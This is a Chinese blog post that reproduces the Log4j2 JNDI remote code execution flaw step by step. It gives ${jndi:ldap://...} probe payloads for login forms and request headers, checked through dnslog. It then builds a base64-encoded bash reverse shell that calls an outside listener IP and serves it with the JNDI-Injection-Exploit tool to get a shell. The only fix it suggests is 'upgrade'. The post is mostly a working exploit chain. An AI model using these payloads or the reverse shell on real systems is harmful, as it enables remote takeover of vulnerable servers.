WangJinQi
发布于 IP属地江苏省

log4j漏洞复现

漏洞情况

Apache Log4j2是一款优秀的Java日志框架。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。

影响范围:

Apache Log4j 2.x < 2.15.0-rc2

POC验证:

漏洞poc-payload:${jndi:ldap://x.x.x.x}

qce524.ceye.io

漏洞poc-payload:${jndi:ldap://qce524.ceye.io}

案例1:

网站登陆口(post数据)

1、获取dnslog

2、网站登陆口使用漏洞poc-payload

**${jndi:ldap://**d63bb2586.lab.aqlab.cn.49bf2271.dns.1433.eu.org}

点击登陆

dnslog收到消息:(漏洞存在)

案例2:

网站请求头

1、获取dnslog

2、网站请求头使用漏洞poc-payload

${jndi:ldap://123.58.236.76:38695.49bf2271.dns.1433.eu.org}

dnslog收到消息,漏洞存在

EXP反弹shell:

1、远程服务器开始反弹shell监听

2、构造反弹代码

old:bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1
new:bash -c {echo,xxxxxxxxxxx}|{base64,-d}|{bash,-i}

old部分进行base64编码,然后放入下面部分

shell命令:bash -i >& /dev/tcp/x.x.x.x/8080 0>&1

base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIwLjMxLzgwODAgMD4mMQ==

反弹shell命令:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIwLjMxLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}

3、执行payload反弹shell

**a、**用VPS下载log4j2的利用工具,github项目地址:https://github.com/sayers522/JNDI-Injection-Exploithttps://github.com/welk1n/JNDI-Injection-ExploitJNDI命令注入利用

下载的如果是源文件,需要进入目录mvn install 打包一下

b、在打包好的工具中执行:

用JNDIExploit启动一个ldap的服务

下列命令要再监听服务端开启,并且反弹拿到shell前不能关闭

阿里云服务器记得把jndi监听的端口全打开
java** -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”**

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjIwLjMxLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "x.x.x.x"

-C 为反弹shell的命令

-A为服务端监听地址

image.png

c、使用exp反弹shell

拿到shell

修复建议:

升级到最新版

浏览 (751)
点赞 (9)
收藏
打赏
评论